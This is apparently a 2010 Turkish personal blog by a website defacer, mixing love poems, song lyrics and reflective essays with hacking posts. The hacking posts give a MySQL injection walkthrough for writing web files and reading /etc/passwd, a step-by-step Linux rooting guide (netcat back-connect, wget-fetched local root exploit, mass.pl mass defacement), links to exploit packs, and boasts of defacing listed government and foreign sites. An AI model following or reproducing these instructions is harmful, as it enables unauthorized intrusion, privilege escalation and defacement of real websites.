31 Temmuz 2010 Cumartesi

Md5 Cr4cker v1.5



[e]XcaLibuR © Sunar.

Neden Bu ?

Md5’i tek tek internet sitelerinde kıracağınıza direk bu programda kırabilirsiniz.6,7 md5 online kırma sitesi var,tek tek onlara atacağınıza burda md5i en üstte bulunan yere yazın,o size kırmaya çalışsın.Kırarsa yanında password yazıcaktır
Hem pratiktir,hem kolaydır.ve de md5 de oluşturur(Create)
Ayrıntılı Bilgi Altta vermiş olduğum dosyadadır.

Cracker:
Gdataonline
Md5decryption
Hashkiller
Passcracking
Insidepro
Md5crack
Md5Live
Md5hood
Icebreaker
Securitystats
Options:
Create Md5
Crack Md5
Save(Export)
Tray Icon
Clear
Start Options:
“-stext Hash C:\\log.txt”

Download : http://www.multiupload.com/CJ0R4GZ6SM
Rar Pass : excalibur
VirusTotal Sonucu : http://www.virustotal.com/tr/analisi…d0f-1268860441

MySQL Inj. Dosya Oluşturmak | Dosya Okuma |




S.A. arkadaşlar

Bu Konuda MySQL Injection Dosya Oluşturmak ~ Dosya Okumayı anlatacağım.

Mysql injection olayında dosya oluşturmak çok basittir.Örnek site

http://www.uydurdumbirsite.com/x.php?id=1

aldıgımız hatalara göre colomnları yazalım örnegin 5 colomn olsun
http://www.uydurdumbirsite.com?id=-1 union select 1,2,3,4,5
aldığımız hatada 3 olsun

http://www.uydurdumbirsite.com/x.php?id=-1 union select 1,2,’Buraya oluşturacağımız dosyanın kodu’,4,5 INTO+OUTFILE+’sitenin dizini/Oluşturacağınız dosyanın adı’/*

Burdan çıkarak Kendimize RFI yolu açabiliriz.

“buraya oluştracagimiz dosyanin kodu” yazan yere ’’
basit bir sayfa çağırma kodu ile kendimize rfi yolu açabiliriz.

Dosya okumak ise daha basit bir olay.load_file() fonksiyonu ile dosya okuyabilirsiniz.

şöyleki;

union select 1,2,load_file(etc/passwd) komutu ile etc dizinindeki passwd dosyasını okuyabilirsiniz yada sizin istediginiz dosyayı… ama bazen magic qoutes buna karşı koyar onun içinde hexleyip başına 0x katarak olayı çözebilirsiniz.bazende hexlemek yetmez charlayip yapmaya gerek kalabilir o da şöyle oluyorki;

LOAD_FILE(CHAR(charladiginz dizin))

gibi…

Selametle. // [e]XcaLibuR

29 Temmuz 2010 Perşembe

İnternet mi ? Gerçek mi ?



S.Aleyküm

İçimden gelenleri söylüyorum, Lütfen sonuna kadar okuyun..

Hayatımıza giren şu internet, bizlere neler kaybettiriyor, neler kazandırıyor.Hiç düşündünüz mü?Bir karşılaştırın hayatınız eskiden nasıldı,şimdi nasıl.Bir kural vardır bir şeyler kazanabilmek için bir şeyleri feda etmek zorundasın.

İnternetteki hackerlar,grafikerler,programlamacılar,yazılımcılar vs..vs.. kendilerini profesyonel yapmak için nelerini feda ettiler? Hiç geriye bakmayı düşündüler mi? Hadi baktılar diyelim tekrardan eskisi gibi olacakmıydı herşey?

Eskiden arkadaşlarımla futbol oynamaya giderdim şimdi futbol u bile unuttum neredeyse. Belki mahalleye çıktığımda “ vay emin özledik seni “ diyenler olacaktır. Elbet olacaktır. Çünkü internet yüzünden zaman ayıramadım.Kendimi unutturdum.

Şimdi birçok kişi çıkıp dicek ben internetten bir sürü kaliteli arkadaşlar edindim, hepsi çok kral adamlar. Arkadaş edinmek çok güzeldir, ama sonunda “ hani en kötü günümde yanımdaydınız, şimdi neredesiniz ? “ sözünü söyleyebiliyorsan, nerede kaldı o arkadaşlık.

Şimdi sanaldaki arkadaşların ile reel hayattaki arkadaşlarınızı bir kıyaslayın.İnternetten online futbol oynayabilirsiniz. Ama reel hayatta da oynayabilirsiniz.Soruyorum size hangisi daha güzeldir ?

Çok komik gelecek ama şimdiki aşklar bile msnden, facebooktan oluyor.Ya soruyorum sizlere yazı ile sevgi mi, aşk mı olur?Tüm internetten sevgililer şunu planlıyorlardır.Hele birde üniversiteye daha başlamamışlarsa.” Şu lise bitsin, onunla beraber aynı okula gideceğiz, aynı evde kalacağız “ Bu sözü neredeyse 50-60 kişiden duymuşumdur. Kurdukları oyun sadece bir hayal. İnternetten mi kazanacaksın üniversiteyi, hacklediğin sitelermi kazandıracak sana o üniversiteyi yoksa yaptığın programlar, tasarladığın grafikler mi ? Hangisi ?

Bugün bilgisayar başında 15 Saatimi geçirdim. Ne geçti elime ?

Dü-şün-mü-yor-uz



Selamün ALeyküm Biraz İçimi Dökim dedim : )

Canım sıkkın.Hemde çok.

Millet olarak ” düşünmüyoruz ” Hele ki bu gençlik..

Hayatı hep ” anlık ” olarak düşünüyoruz, görüyoruz.Paramız bugün varsa, bugün rahatız.Bu bize yeter.Ama yarın aç kalır mıyız? bunu hiç düşünmüyoruz..

Ailemiz acaba ne kadar hayatta kalıcak, veya biz onlarsız da yaşayabilecek miyiz? veya biz ileride ne olacağız? veya biz şu an geleceğimiz için ne yapabiliriz? gelecekte ne olacağız? hiç düşünmüyoruz.

Babamız iyi,rahat,çalışıyor o bize yeter.Akşam eve gelsin yeter.

Yanlış.Hepsi yanlış..

Millet olarak çok düşünmeye, çok çalışmaya ihtiyacımız var.Hele ki bu gençliğin.

Gençlikde boş işler yapıp vakit kaybetmemeliyiz, gençliğimizi ” İYİ ” kullanarak geleceğimize +1 katacağız, geleceğimize 1 fidan dikeceğiz.Her gün geçicek, ve fidanlarımız çoğalıcak.Geleceğimiz güzel, hâyırlı olucak.İlerde rahat olucaz.

Çocuklarımızı okutabileceğiz,ailemizin geleceğini düşüneceğiz.Bu sorumlulukları ele alacağız.Hepsini çalışarak..

Allah c.c. Milletimizin sonumuzu hâyr etsin.(Amin)

Gençlik olarak bir diğer sorunumuz da ” Cinsellik “

Uğraşıyoruz, duruyoruz.Biraz daha bastırılıyor nedense bu olay.Ki vakitle ” aşık ol, bir kızla çık, sevgili ol ” vs vs. gibi sözler işitiyoruz ve bizde hevesli oluyoruz böyle işlere.

Gençlikde bu tür şeylere vakit harcayıp, sadece gençliğimizi ” boşa ” harcarız.Sadece kendimizi tetikleriz.Bu güzelim yaşta çalışarak,ilimle uğraşarak geleceğimizi daha iyi yapabiliriz, onun için uğraşabiliriz.

Bir Millet olarak daha fazla düşünmemizi ve geleceğimize bir bakmamızı istiyorum.Acaba ilerde halimiz nasıl olucak?

Ya acı hissetmeseydik ?



Acıyı hissetmeseydik ne olurdu ?

Düşününki bir işle meşgul iken ayagımız bir yere çarpıyor ve kesiliyor, fakat biz bunu hissetmiyoruz..
Yemek yapıyoruz,bıçak elimizi kesiyor ama fark etmiyoruz…
Yolda yürüyoruz ayagımıza diken batıyor ama biz yine hiçbirşey hissetmiyoruz,ayagımızdan kan aka aka yürüyoruz..
Çünkü acı hissetmiyoruz….

Velhasıl görüyoruz ki aslında acı çekebiliyor olmamızda bizlere Rahman ‘ ın bir lutfu..

Yani yaşadıgımızın bir işareti,delili…

Günahlarda öyle degil mi peki ?

Ya günah işledigimizde birşey hissetmeseydik ?

Aynı günahı ve daha fenasını peşi sıra işlemeye devam etmezmiydik ?

Öyleyse, Günah işlerken birşey hissediyorsanız,kalbiniz sızlıyorsa,yüreğiniz acıyorsa ve pişman olabiliyorsanız günahınızdan, bilinki bu bir lutf-u Rahman ‘ dır.. Ve İMANınızın delili,cennetin kapısıdır…

Ya o kapıdan girersiniz, yada kapıda kalırsınız…

Kapıda kalmak istemiyorsak “acı” nın kıymetini bilelim ve günahlarımızdan tevbe edelim…

Selam ve Dua ile / Written By UzmaN

27 Temmuz 2010 Salı

Aşk mı ??



Aşk mı ?

Sana aşık oldugumu sanıyordum ama öyle degilmiş aşk sadece laf ile bitmiyormuş aşk birçok şey istiyor ve ben sana onları gerçekleştiremedim, sunamadım.En sonundaböyle yapayalnız bırakıp gittin beni.Ne sen aşık olabildin ne ben.Ne sarılıp koklayabildim ne de gözlerine bakarak seni seviyorum diyebildim.Olmadı aşkımız sanalda, msnde, facebookta kaldı.Olmaz olsun öyle aşk.

İlk başlarda istemem demiştim hatırlıyormusun ama sen hayatıma girdikten sonra her şey çok degişti birden kendimi kaybettim, sende kaybetmişsin yoksa bana bu kdr baglanmazdın.Ama ben kendimi kaybetmeme ragmen olmadı, baglanamadım.Ama kalbimin en ıssız köşesinde sana ait bir yer var.Sadece senin ve benim için.İkimizden başka kimsenin olmadıgı ıssız bir yer.Her zaman hayal ettiğimiz bu degilmiydi.

Her şey ayrıldıktan sonra oldu.Tekrar istiyorum seni sonuna kadar benim olurmusun desem biliyorum inanmazsın, 1 defa dedim kabul ettin degerlendiremedim o şansı.Tanıyorum seni vermezsin öyle bir şans ama tek istedigim şu kelimelerimi 1 defa oku sadece 1 defa.Sana hala aşıgım.Ne olursun eski günlere dönelim.

Keşke demeden önce sana yaptıgım eşeklik affedilecek gibi degildi.Şimdi beni affedermisin bilmiyorum ama tek istedigim şu kelimelerden halimi anlaman.

Korktum..Evet korktum..Sanalda başlayan bir aşk uzun sürermiydi.Ya sana o kdr baglandıktan sonra beni bırakıp gidersen.Kim soracak bana halimi, kimseye anlatamam ki derdimi.Sadece sende başladım sende bittim.

Ama sen benim kadar korkmadın.Devam ettiririm sandın, kapılıp gittin bana.Ama ben öyle degilim.Çok severim ama bunu dışa vuramam.Bende istedim senin kadar çok sevmeyi.Bende istedim bitmeyen bir aşk yaşamayı.Ama olmadı bitti..

Emin ERZİNCAN

26 Temmuz 2010 Pazartesi

LifeCastingAjans Hacked

Site : http://www.lifecastingajans.com/
Zone : http://zone-h.org/mirror/id/11205383

Resmi Siteler Uyarıldı

http://www.adiyaman.gov.tr/
http://www.afyonozelidare.gov.tr/
http://www.agacoren.gov.tr/
http://www.aglasun.gov.tr/
http://www.agli.gov.tr/
http://www.ahirli.gov.tr/
http://www.ahmetli.gov.tr/
http://www.akcadag.gov.tr/
http://www.akdeniz.gov.tr/
http://www.akhisar.gov.tr/
http://www.akkoy.gov.tr/
http://www.akkus.gov.tr/
http://www.aksarayozelidare.gov.tr/
http://www.aksu.gov.tr/
http://www.akyazi.gov.tr/
http://www.akyurt.gov.tr/
http://www.alaca.gov.tr/
http://www.alacakaya.gov.tr/
http://www.aladag.gov.tr/
http://www.aliaga.gov.tr/
http://www.almus.gov.tr/
http://www.alpu.gov.tr/
http://www.altunhisar.gov.tr/
http://www.alucra.gov.tr/
http://www.amasyaozelidare.gov.tr/
http://www.antalyaaksu.gov.tr/
http://www.aralik.gov.tr/
http://www.ardahan.gov.tr/
http://www.arguvan.gov.tr/
http://www.arhavi.gov.tr/
http://www.aricak.gov.tr/
http://www.arpacay.gov.tr/
http://www.askale.gov.tr/
http://www.aslanapa.gov.tr/
http://www.atabey.gov.tr/
http://www.atakum.gov.tr/
http://www.atkaracalar.gov.tr/
http://www.avanos.gov.tr/
http://www.aybasti.gov.tr/
http://www.aydin.gov.tr/
http://www.azdavay.gov.tr/
http://www.babaeski.gov.tr/
http://www.bala.gov.tr/
http://www.balcova.gov.tr/
http://www.balikesir.gov.tr/
http://www.bayat.gov.tr/
http://www.bayindir.gov.tr/
http://www.bayrakli.gov.tr/
http://www.bayramoren.gov.tr/
http://www.bergama.gov.tr/
http://www.besni.gov.tr/
http://www.beydag.gov.tr/

Devamı : http://www.zoneturka.com/hacker/?s=1&user=[e]XcaLibuR
http://zoneturkey.org/hacker/?s=1&user=[e]XcaLibuR
http://zone-h.org/archive/notifier=[e]XcaLibuR

Resmi Bir Rus Sitesi Hacked

Site : http://www.zkfkz.edu.ru/
Zone : http://www.zoneturka.com/deface_mirror/?id=130868

150 Hollanda Sitesi Hacked

http://www.kokmontage.nl
http://www.mijnspitz.nl
http://www.koninginnenkoor.nl
http://www.winobeton.nl
http://www.traject.com
http://www.ocaro.nl
http://nieuw.deventit.nl
http://www.brumdesign.nl
http://www.bol4y.nl
http://dnsbeheer.trefnet.nl
http://new.montis.nl
http://intra.princefibretech.com
http://www.vanstuijvenberg.com
http://www.fridayeurotech.nl
http://www.svensvoetbal.nl
http://gastenboek.letitshine.nl
http://www.ceresbv.com/
http://www.klomphoveniers.nl
http://www.grotestappenplan.nl
http://webwinkel.astmafonds.nl
http://rijnmond.astmafonds.nl
http://regiosite.astmafonds.nl

Devamı : http://www.zoneturka.com/hacker/?s=9&user=[e]XcaLibuR

340 Rus Sitesi Hacked

http://www.vladenie17.ru/
http://sblind.org/ http://do-all.info/
http://www.molekula-lab.ru/
http://www.nuskin74.ru/
http://www.molekula-lab.ru/
http://brooklandbros.com/
http://fashion-glamour.info/
http://finexp.info/
http://glamurnyekartinki.info/
http://glamurnyekartinki.info/
http://kostumy-imperia.ru/
http://myagkayaigrushka.ru/
http://oldiesthemecruises.com/
http://prokraska.info/
http://www.ak-photo.ru/
http://ooo777.ru/
http://Lamborghini-spyder.ru
http://Zooming.ru
http://Zoo21.ru
http://Zolotyh.ru
http://Zingarella.ru
http://Zawod-res.ru
http://Zao-urinform.com
http://Zao-jurinform.org
http://Zacar.ru

Devamı : http://www.zoneturka.com/hacker/?s=1&user=[e]XcaLibuR

Rus Operasyonu

Çok sayıda rus sitesi deface edildi..

Zone-h : http://zone-h.org/archive/notifier=[e]XcaLibuR
ZoneTurkey : http://zoneturkey.org/hacker/?s=1&user=[e]XcaLibuR

Linux Server Root [ Döküman ]

S.a arkadaşlar ben [e]XcaLibuR
Linux server root ile ilgili döküman hazırlama ihtiyacı duydum çünkü birçok arkadaş root öğrenmek istiyor bizde öğretiyoruz..

Gerekli olan araç-gereçler
1. Rootlanacak server
2. Kernel'e göre local root exploit
3. Mass.pl
4. İndex (:

> İlk olarak server'a back connect oluyoruz..
Bunun için ; Başlat > Çalıştır > nc -vv -l -p 8080(Baqlanacaqınız Port)
Ve shell ekranımıza geri dönüyoruz ve r57 shell ' de alt tarafta bulunan back connect kısmına 8080 port dan baqlanıyoruz..

> Şimdi local root exploitimizi server'a upload ediyoruz..veya başka bir ftpden çekiyoruz..ba$ka bir ftp'den çekmek isterseniz komutu ;
wget http://siteadresi.com/exploit adı

> Ardından exploitimizi derleyelim.bunun için komut ;
gcc -o root exploitadı.c

> Exploitimize tam yetki verelim..
chmod 777 exploitadı.c

> Ve Exploitimizi Çalıştıralım..
./exploitadı.c

> Ardından id yazıyoruz ve root olup olmadıqımızı görüyoruz..eqer root olduysak $öyle bir yazı gelmesi lazım..
uid=0(root) gid=0(root)
Eger bu yazı geliyorsa root olmuşsunuzdur.

> Ardından shell kısmından mass.pl ' yi ve indeximini /tmp dizinine upload ediyoruz..
Mass.pl yi çalıştırmak için perl mass.pl komutunu yazıyoruz ekrana nasıl kullanacaqımız geliyor mesela şöyle..

perl mass.pl /home/excalibur/public_html/tmp/index.html

Enter diyoruz ve serverdaki sitelere tek tek sizin attıqınız index.html ' yi upload ediyor..

serverdaki sitelere http://www.domaintools.com/ adresinden bakabilirsiniz..

Okuduqunuz için teşekkür ediyorum..

@ Selametle / [e]XcaLibuR

Access SQL İnjection ' Vide0

Konu : Sql İnjection

Anlatan(lar) : ExcalibuR

Home Page : ByExcalibur.blogspot.com

Download Link'z : http://www.ziddu.com/download/9284051/Sqlnjection.rar.html

Rar Pass : excalibur

Find Vulnerabilities Whit Exploit ve Kullanımı

SA Arkadaşlar.

Bir video çekeyim dedim exploit ile açık tarama konusunda.

Konu : Find vulnerabilities whit exploit ile açık tarama

Hazırlayan : [e]XcaLibuR

Download : http://www.multiupload.com/FXLD9WY3U7

Rar Pass : excalibur

Not : Exploit ve gerekli olan python setup.exe klasörün içindedir.

Local Root Exploits

2.6.5-2009
2.6.9-2009
2.6.10-2009
2.6.11-2009
2.6.12-2009
2.6.17-2009
2.6.18-2009
2.6.27-2009


FreeBSD 4.4 – 4.6
FreeBSD 4.8
Freedbs 5.3


Mac OS X
SunOS 5.7
SunOS 5.8
SunOS 5.9
SunOS 5.10

http://www.indirdur.net/files/0ATPPRDC/exploits.rar

http://www.indirdur.net/files/GNZS640Q/local-root-exploit-priv9.rar

http://rapidshare.com/files/291064859/LoCaL_RoOt_PrIv8.rar

Resimler

http://i36.tinypic.com/289a22w.png

http://img299.yukle.tc/images/4980exp.jpg

2.6.18 Local Root Exploits

http://www.indirdur.net/files/QWDNAJZY/2.6.18

2.6.17 Local Root Exploits

http://www.indirdur.net/files/0BNOPNHP/2.6.17

2.6.28 Local Root Exploits

http://www.indirdur.net/files/7DPNKZ4D/2.6.28.c

FreeBSD 7.2

http://securityreason.com/expldownload/1/7375

FreeBSD 6.4

http://securityreason.com/expldownload/1/7374

2.6.18.20

http://www.exploit-db.com/exploits/10613

2.6.18.92

http://www.2shared.com/file/12279895/2794bf2d/2618921.html

Free Dot.Tk Domain

Önceden www.dot.tk sitesi üzerinden Türkiye' ye bedava .tk domain dağıtılıyormuş.Şuan da Türkiye' den 12,5 TL ödeyerek .tk uzantılı alan adına sahip olunabiliyor.Fakat Türkiye dışındaki kullanıcılara hâlâ bedava.Biz de şimdi bundan yararlanarak bedava .tk domain alacağız.

Adım adım anlatıyorum:

1) Siteyi kandırıp Türkiye dışından bir yerden bağlandığımızı zannettirmek için kendimi bir online proxy sitesi buluyoruz.Bu siteyi kullanabilirsiniz.(Eğer, "Ben başka kullanacağım.", diyorsanız resimleri gösteren bir online proxy sitesi bulmalısınız.Çünkü üye olurken doğrulama kodu gireceğiz.)

2) Açılan sayfadaki adres çubuğuna dot.tk yazıp enterlıyoruz.Karşımıza ecnebiler için olan dot.tk sayfası gelecek. Web Domain' e tıklıyoruz.Boşluğa istediğimiz alan adını yazıp next diyoruz.Önümüze bir sayfa daha gelecek ona da next diyoruz.

3) Karşımıza çıkan kutucukları kendimize göre dolduruyoruz.Your Web Site URL yazan yere yönlendirme adresi yazıyoruz.Mesela http://www.facebook.com/kullanıcı adımız yazabiliriz.Şimdi bir daha nextliyoruz.Kutucuklara istenen bilgileri yazıyoruz ve bir daha tıklıyoruz.e-posta kutumuza bir doğrulama linki gelecek hesabımızı doğruluyoruz ve işlem bitiyor.

Bedava .tk domainimiz hayırlı olsun... / [e]XcaLibuR

Hacking Security Egitim Seti..

Yeni ve Harika Bir Güvenlik Seti Daha Sunuyorum Sizlere...Swf Formatında 100'e yakın videodan Oluşan
Bu Hack Setini Kaçırmayın...Tam Bir Başucu Kaynağı..Konu Anlatımlı ve Görüntülü...Site Açıkları Nelerdir?


*Acunetix Web Vulnerability Scanner İle Sql Injektion

*Admin Data Disclosure

*ASP Access Database Security

*Blind (Kör) Xss

*Chmod Security Admin Bilgisizligi

*Config Key Bug

*Cros Site Scripting (xss) Bulma

*e107 Plugin İmage Gallery SQL İnjection

*FlashBlog Bug Fix Video (Beta 0.31)

*LKS WIN Veri Tabanı Geri Yükleme

*LKS WIN Veri Tabanı Yedek Alma

*Local File Inclusion

*MD5 Hash Brute Force Exploit Video

*Microsoft Kaynak Kodu Analizi

*Ms Access SQL Injection-Kolon Sayısı Bulma

*Mssql Unclosed Add Meta

*Mssql Unclosed Update

*Mssql Unclosed Veri Çekme

*Mysql Sql Injektion Kolon Sayısını Öğrenme

*Mysql Sql Injektion Mysql Userden Veri Cekme

*Post Method javascript Injektion

*Post Method Sql Injektion

*Remote Admin Change Password

*Remote File İnclusion

*Remote File Upload

*Script Insertion

*Script Üzerinde Xss Bulma Manuel Olarak

*Search Engine İle Database Yolu Bulma

*Server Lister Kurulumu

*SQL Injektion Admin Bypass

*Web Sitesi Üzerinde Xss Bulma

*Xss Fixleme For (ASP) - (PHP)

*Xss Html Injektion

Rapid Linkler Remote Upload Olduğu İçin İndirdikten Sonra Birlikte Aç Diyip Winrar'ı Seçmelisiniz...!


>>>HOTFILE<<<

http://hotfile.com/dl/35569880/312ebde/Super_hack_yontem_video-KILICH.Part1.rar.html http://hotfile.com/dl/35576272/f9abf5f/Super_hack_yontem_video-KILICH.Part2.rar.html

>>>RAPIDSHARE<<<

http://rapidshare.com/files/370295013/Super_hack_yontem_video-KILICH.Part1.rar.html
http://rapidshare.com/files/370299732/Super_hack_yontem_video-KILICH.Part2.rar.html

25 Temmuz 2010 Pazar

Sansar Salvo - Duygusuz İfade (Şarkı sözü)



Son günümde ağlamam ben;sense kaybeden.
Sen huzur içinde lakin;bense derbeder.
Nedeni bilemedim..Neden?Her yalana kanıyorum.
Yanıyorum ve yanmamın sebebini kınıyorum.
Kınamalarda kanama yaptı yüreğimde..
Bir karartı..
Böyle olmaması lazım bu gün erken karardı.
Kapılar kapandı.Yüreğime giriş yok artık.
Seneyi seneye ekleyip kendimizi kandırandık.
Garibanımla çık yola.Arka tarafa merhaba.
Aşklarınsa değeri yok;duygu değeri araba.
Bu saatten sonra sakın gelme kapıma.
Şu günümden sonra;kimse almam yanıma.
Gözlerim açıktı baktım;önümde bir minare.
Etrafıma baktım;burada bir cenaze.
Ölen o adama baktım;o adam benim.
Etrafıma baktım.
Nerede kefenim?

NAKARAT X2

Duygusuz ifadelerle bir taş olsam özlemimle.
Gömün beni sözlerimle,bende sizi özlerim be.
Duygularımı közleyin ve aleve verin benim önümde.
Kelimelerime dikkat et.Ben ağlamam son günümde.


Nispet etti kısmet.Varsın hasım alsın.
İhanet etti hasret.Varsın ağzım yansın.
Millet oldu cinnet.Varsın insan ağlasın.
Duygularını katlet.Varsın yağmur yağsın.
Gülen yüzünü lütfet.Sanırım ağlamaklısın.
Yüreğin önüne kasket.Parçalanmasın.
Bugün gözümde kasvet.Sen yanarmısın?
İnanmadığını arz et.Sen kanarmısın?
Yük ağır bi nefret.(nefret!)Kaldırırmısın?
Geri dönersem şayet;(şayet!)beni alırmısın?
Bileklerimde gayret(gayret!)Sen tutarmısın?
Kin tutmak maharet.Bunu yaparmısın?
Ben bi leş.Cinayet!Sen kaçar mısın?
Evinde bi hayalet..Sen yatarmısın?
Suratımı hayal et; anlatır mısın?
Bi saniye ben anlatırken; sen susarmısın?

19 Temmuz 2010 Pazartesi

Hoşgeldin !



Hoşgeldin!
Kesilmiş bir kol gibi
omuz başımızdaydı boşluğun...
Hoş geldin!
Ayrılık uzun sürdü.
Özledik.
Gözledik...
Hoş geldin!
Biz
bıraktığın gibiyiz.
Ustalaştık biraz daha
taşı kırmakta,
dostu düşmandan ayırmakta...
Hoş geldin.
Yerin hazır.
Hoş geldin.
Dinleyip diyecek çok.
Fakat uzun söze vaktimiz yok.
Yürüyelim...

NAZIM HİKMET.

18 Temmuz 2010 Pazar

Arkadaşlar !



Dışarda bir şeyler oluyor farkında mısınız?
Uykuda olanları sarsın, uyandırın.
Herkese söyleyin, yakında ışıklar kesilebilir.
Karanlıkta ne yapacaksınız?..


YILMAZ GÜNEY

17 Temmuz 2010 Cumartesi

Öyle zor ki gidişini izlemek...



Beni inciten bir şey varsa o da sevmediğini bilmek,
ve bunu bilmeme rağmen seni sevmeye devam etmek.
sen bilmezsin, öyle zor ki gidişini izlemek...
öyle zor ki sanki içimden bir parça kopuyormuş gibi,
kalbim çığlık çığlığa haykırıyormuş gibi yok olurken,
dışarıdan buruk bir tebessümle sessizce seyretmek...
çünkü biliyorum, gelmezsin yalvarsam bile,
tutunduğum tek dal olduğunu bile bile,
çekip gidersin tereddütsüz...

aslında güzel de senin bana verdiğin acı,
bana yaşattığın hiçbir şey kötü olmadı zaten.
ama... ama anlatamıyorum işte,
öyle zor ki gidişini izlemek ve,
her şeyden önce giderken biraz bile üzülmediğini,
aksine rahatladığını hissetmek...

öyle zor ki başka kollarda, başka ellerde,
benim sende bulduklarımı aradığını bilmek...

öyle zor ki sensizlik,
öyle zor işte kimsesizlik.

Ummadıgım anda çıkıp gelecek misin ?



Ummadıgım anda çıkıp gelecek misin
Terkedildiğimi sandıgımda yeniden sarılacak mısın
Ben artık seni göremezken
Karşıma çıkıp ben burdayım sonsuza kadar seninleyim !
Diyecek misin ?
Eger böyleyse Sonsuz ne kelime ebediyen seninim ...

Pit10 - En Sevilen Nefret Edilen Adam | Albüm | Download



Albümdeki Eserler ;

1- Pit10 – Tüm Bedenler Aynıdır
2- Pit10 – En Sevilen Nefret Edilen Adam
3- Pit10 – Kendimden Kaçtığımda
4- Pit10 – Beni Buradan Çıkarın
5- Pit10 – Son Sözüm
6- Pit10 – Ortam Kızı
7- Pit10 – Bu Gün
8- Pit10 – Metropol
9- Pit10 – Yine De Güzel
10- Pit10 – Evrim Dışı
12- Pit10 – Beni Kapak Yap
13- Pit10 – Ortam Kızı (Remix)


Download RapidShare : http://rapidshare.com/files/280276697/Pit10-EnSevilenNefretEdilenAdam-2009-K.K.rar
Download Uploaded : http://uploaded.to/file/kaqugo
Download 2Share : http://www.2shared.com/file/7810608/352a5ef4/Pit10-EnSevilenNefretEdilenAdam-2009-KK.html

16 Temmuz 2010 Cuma

Excalibur'un Anlamı



Excalibur, efsanevi Britanya Kralı Arthur'un taşıdığı, Glaston Gölü ve Avalon Adası'nın Ladysi Vivien tarafından kendisine verilmiş olan kılıcın ismidir.

Excalibur hakkında iki efsane bulunur. İlkinde Robert de Boron'un Merlin adlı şiirinde "Sword in the Stone" (Taştaki Kılıç) olarak geçer. Kral Arthur, kılıcı saplandığı taştan çekip çıkarır ve bu sayede gücünü ve hâkimiyetini ispatlar. Sir Thomas Malory'nin kaleme aldığı Kral Arthur efsanesine göre ise Kral Arthur Kral Pellinore'la dövüşürken kılıcı kırılır. Gölün Hanımı tarafından Kral Arthur'a başka bir kılıç, yani Excalibur verilir. Kral Arthur'un ölümüyle Sir Bedivere kılıcı göle atmış, gölden yükselen bir el de kılıcı kaparak kaybolmuştur.

Kral Arthur'un büyülü güçlere sahip kılıcı Excalibur Büyük Britanya'nın haklı egemenliğiyle de iliştirilir. Bu iki kılıç kimi yerde aynı kılıç olarak geçse de bazı kaynaklarda birbirlerinden farklı olduğu söylenir. Söylenenlere göre bu kılıç, yeryüzüne düşen bir meteorun madeninden yapılmıştır. Çekilir çekilmez otuz meşale yakılmış gibi düşmanların gözünü kamaştırması, güçlü kını sayesinde sahibinin ölümcül yaralar almasını önlemesi ve yaralanan yerin kanamaması gibi özellikleri vardır.

The Memory Hacker




Southern California Üniversitesinde bir yapay hafıza çipi çalışması var. Beynimizdeki hipokampus denilen bölgenin hafızayla bağlantısı olduğu bilinmekte ve bu çalışma da bu bölgedeki hasar kaynaklı hafıza kayıpları üzerine yoğunlaşıyor. Makale ingilizce, ben dikkatimi çeken bazı yerleri özetlicem ama tamamını okumak isterseniz diye linki ekliyorum buraya ; ) sol sütunda görebilirsiniz.

Deney sıçan beyinleri üzerinde denenmiş. Basitce deneyi özetlersek ; Bu deneyde, bir elektrod, zarar görmüş organ kesitine pulslar(darbe) yolluyor, ikinci bir elektrod ise bunları alıp board üzerinde sinyallere dönüştürerek dokuya geri yolluyor.

Berger?in araştırma grubunda nörologlar, matematikçiler, bilgisayar mühendisleri ve biyomühendisler yer alıyormuş. Bu grup, bir dakikalığına bile olsa belli bir miktar beyin aktivitesi üretebilmiş. İnsan beynindeki 100 milyar nöronla karşılaştırıldığında, ürettikleri çip 12.000 nörondan az. Araştırmacılar, bu kadar az sayıya rağmen beyinde aktivite başlatabilmelerini nöromühendislik alanında şaşırtıcı buluyorlar.

BrainGate denilen sistemde tek yönlü alışveriş olabiliyormuş. Yani bilgisayarla konuşabiliyorsunuz ama ondan geri dönüşü alamıyorsunuz. Berger?in çipinde ise iki yönlü etkileşim sağlayabiliyorlarmış. Bunun için 18-wheeler kullanmışlar.(ne demek 18 tekerli bilmiyorum ama :P )

Son olarak, nasıl hafızayı taklit ediyorlar kısmı var. USC hafıza chip?i hafıza bölgesinin olduğu hipokampusdeki ses, tat ya da görme gibi hasarlı bögelerin sensör bilgilerinin düzenlenmesi üzerine tasarlanmış. Sağlıklı bir beyinde elektrik sinyalleri dokuya girer, CA3 ve CA1 diye bilinen bölgelerden geçerler ve uzun süreli hafıza olarak depolanmak üzere hipokampus bölgesinden çıkarlar. Hipokampus zarar gördüğünde çip gerçek hücreleri taklit ediyor ve sinyalleri algılayıp, sayısallaştırarak işliyor, ardından tekrar analog sinyallere çeviriyor, son adım ise tekrar hipokampuse yollanması.

Link için: http://bmes-erc.usc.edu/

ilginç bi çalışma, ilk gördüğümde daha beynin sırrı çözülmemiş ki nasıl yaparlar demiştim. yazı içinde de araştırmacı aynı şeyi demiş zaten, bi cd player tamircisinin bunu tamir etmesi için müzikten anlaması gerekmez diye düz bi mantığa gitmiş :) çok ince bi kesit üzerinde çalışmışlar ama yine de değişik bi çalışma, umarım ilginizi çeker biyolojiye de meraklıysanız : )

14 Temmuz 2010 Çarşamba

Kocaman Kayalar Çarptı Yüreğime.~



Son sözlerin o kadar acıttı ki kalbimi,
Tüm gece kanadı hiç durmadan.
Gün boyu o kadar ağrıdı ki kalbim,
Söküp atmak istedim yerinden.
Şen kahkahalarım sessizlikle son buldu.
...Daha düne kadar hayallerim de seni düşünüp mutlu olurken,
Şimdi seni düşünüp ağlıyorum.
Kocaman kayalar çarptı yüreğime,
Yine de kalbimde ki seni parçalayamadı.~

13 Temmuz 2010 Salı

Bağlanmayacaksın Bir Şeye !



Bağlanmayacaksın bir şeye, öyle körü körüne.
“O olmazsa yaşayamam.” demeyeceksin.
Demeyeceksin işte.Yaşarsın çünkü.
Öyle beylik laflar etmeye gerek yok ki.
Çok sevmeyeceksin mesela.
O daha az severse kırılırsın.
Ve zaten genellikle o daha az sever seni,
Senin o’nu sevdiğinden…
Çok sevmezsen, çok acımazsın.
Çok sahiplenmeyince, çok ait de olmazsın hem.
Çalıştığın binayı, masanı, telefonunu, kartvizitini…
Hatta elini ayağını bile çok sahiplenmeyeceksin.
Senin değillermiş gibi davranacaksın.
Hem hiçbir şeyin olmazsa, kaybetmekten de korkmazsın.
Onlarsız da yaşayabilirmişsin gibi davranacaksın.
Çok eşyan olmayacak mesela evinde.
Paldır küldür yürüyebileceksin.
İlle de bir şeyleri sahipleneceksen,
Çatıların gökyüzüyle birleştiği yerleri sahipleneceksin.
